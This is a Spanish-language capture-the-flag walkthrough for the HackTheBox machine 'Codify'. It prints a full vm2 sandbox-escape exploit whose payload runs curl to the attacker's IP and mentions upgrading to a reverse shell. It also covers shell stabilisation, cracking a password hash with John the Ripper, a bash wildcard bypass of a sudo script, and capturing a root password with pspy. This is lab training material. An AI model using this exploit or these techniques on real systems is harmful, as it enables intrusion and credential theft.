Bienvenido a mi primera guía CTF! Hoy voy a guiarte a cómo hackear la máquina “Codify” de HackTheBox:
Reconocimiento básico Link to heading
Ejecutando un escaneo Nmap te darás cuenta de que tenemos tres puertos abiertos en el servidor: SSH, Apache y una instancia de NodeJS abierta, aunque recomendaría ignorar el último puerto al parecer este una cortina de humo.
Por ahora asociemos la IP al nombre de dominio para que podamos acceder a la página por navegador web:
Ganando un punto de apoyo Link to heading
Observando la página web, parece ser hecha para probar código NodeJS, lo primero que se viene a la cabeza es un caso de RCE posible utilizando módulos de sistema, aunque parece que los desarrolladores de esta página ya lo habían visto venir!
Navegando la página encontramos una sección “Sobre nosotros” que habla sobre las motivaciones del desarrollador entre otras cosas, pero también hay una sección interesante que no solo habla sobre la librería utilizada para realizar el sandboxing del código, pero incluso nos informa de la versión siendo utilizada! Qué amables de su parte!
“The vm2 library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code”
Ejecutando una búsqueda en línea, descubrimos que la versión 3.9.16 de vm2 siendo utilizada por el sitio web da la casualidad de que sufre una vulnerabilidad de escape de sandbox, y después de investigar un poco más, podemos incluso encontrar un exploit para este!
Travesuras con VM2 (y shells inversas!) Link to heading
Ahora nos podemos dirigir al probador de código de la página y pegar el exploit a continuación, aunque primero nos gustaría saber si funciona, con lo que probamos a ejecutar un curl a un servidor HTTP de Python alojado en nuestra máquina atacante:
Acuérdate de modificar
execSync('curl http://10.10.16.95:8000')
y añadir tu propia dirección IP!
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://10.10.16.95:8000'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
Ejecutando el código obtenemos un acierto! RCE ha sido confirmado de aquí en adelante y como podrás ver, la petición desde el servidor a nuestro cliente se registró bajo nuestro servidor de HTTP simple.
Reemplazamos rápidamente nuestro curl con una shell inversa improvisada, abriendo un puerto en nuestra máquina atacante y mándando la shell a este.
Pro tip: Shells inversas son inestables y son usualmente interrumpidas por acciones simples como pulsar Ctrl+C, ejecutando los siguientes comandos sin embargo te permitirá estabilizar la shell y realizar acciones interactivas con esta (ejecutar comandos con sudo y pulsar Ctrl+C):
python3 -c "import pty;pty.spawn('/bin/bash')"
(Asegúrate de que Python esté instalado en el sistema, busca alternativas aquí sí no lo está)export TERM=xterm
- Ahora pulsa Ctrl+Z para congelar la shell antes de proceder con el último comando.
stty raw -echo; fg
Navegando a través del sistema Link to heading
Como te habrás dado cuenta, no hay mucho que podamos hacer como este usuario “svc” a parte de observar los archivos de prueba creados por otros hackers de HackTheBox atacando a la máquina, sin embargo, si echamos un vistazo al directorio raíz genérico para servir HTTP, encontramos dos directorios distintos de /var/www/html:
Interesante, parece haber un archivo de base de datos para ticketing…
Inspeccionando el archivo, descubrimos que es una base de datos Sqlite, y si accedemos a esta, podemos encontrar dos tablas guardadas en esta:
Bingo! Además de la graciosa tabla de tickets, hemos encontrado una segunda tabla con la hash de contraseña para un usuario llamado “joshua”, y es posible que te hayas dado cuenta durante tu exploración como “svc” que había un segundo usuario en el servidor llamado “joshua”, así que ahora es el momento de una acción de fuerza bruta.
Destripando unas credenciales SSH! Link to heading
Sospechamos que la hash de contraseña obtenida de la base de datos Sqlite podría ser la contraseña del usuario “joshua” del servidor, con lo que la añadimos inmediatamente a un archivo y dejamos a nuestro fiel John The Ripper (o John el Destripador) atacar el hash a fuerza bruta utilizando la lista de palabras rockyou.txt como nuestro diccionario de ataque.
Y funciona! Desafortunadamente no puedo mostrar la contraseña ya que esto invalidaría todos los pasos anteriores, pero te puedo asegurar que es definitivamente una contraseña muy simple y graciosa una vez la rompes!
Utilizando las credenciales rotas podemos iniciar sesión a través de SSH en la cuenta de joshua y recuperar la bandera user.txt.
Escalando nuestros privilegios Link to heading
Ahora que por fin tenemos acceso a una cuenta de servidor adecuada, podemos empezar a buscar formas de alcanzar la cuenta root.
Usualmente un buen lugar donde empezar es revisar si tenemos permisos para ejecutar cualquier comando como sudo utilizando sudo -l
, y parece que tenemos un script que podemos ejecutar como root:
Revisando el contenido del script, vemos que guarda los contenidos de un archivo de credenciales dentro de una variable llamada “DB_PASS”, y luego procede a comparar esa variable con la contraseña que nos pide antes de ejecutar algunos comandos de copia de seguridad de MySQL cuando intentamos ejecutar el script…
Siempre es más simple de lo que parece Link to heading
Uno podría pensar en intentar realizar un ataque de fuerza bruta ya que no parece haber ninguna medida implementada para evitar este tipo de ataque, pero si estás familiarizado con Bash, probablemente conoces el concepto de comodines, entonces, que pasaría si intentamos introducir un asterisco en el script?
Bueno eso nos llevó un paso adelante! Creo que la razón por la que esto funcionó fue porque la entrada del usuario no fue desinfectada correctamente, y dado que los comodines pueden equivaler a cualquier valor, comparar la contraseña secreta con un comodín devolvió “True”, lo que permite al script continuar más allá de la declaración if/else.
Sin embargo eso no soluciona nuestro problema, puede que podamos ejecutar el script, pero lo único que parece hacer es respaldar bases de datos SQL a un directorio del que no podemos leer. Aunque algo puede destacar es la advertencia avisándonos de que “Utilizar una contraseña en la interfaz de línea de comandos puede ser inseguro”, y vaya si tenían razón.
Espiando nuestro camino hacia root! Link to heading
Para un poco de historia de fondo, existe una herramienta llamada pspy que es capaz de escuchar los eventos del sistema de archivos o cualquier comando que se ejecute dentro del sistema donde lo iniciemos, si revisas el script otra vez, te darás cuenta de que ejecuta los comandos de respaldo de MySQL proporcionando la contraseña de root como parámetro, de ahí las advertencias generadas anteriormente. Puedes ver a dónde va esto?
Una vez descargamos el binario, lo mandamos al servidor de Codify en virtud de nuestro servidor de HTTP simple y lo ejecutamos, intentemos ejecutar ese script de nuevo, de acuerdo?
Y ahí está! La contraseña se muestra en texto plano cuando ejecutamos el script gracias a pspy, con esta contraseña ejecutamos su -
inmediatamente para acceder a la cuenta root y recuperamos la bandera root.txt!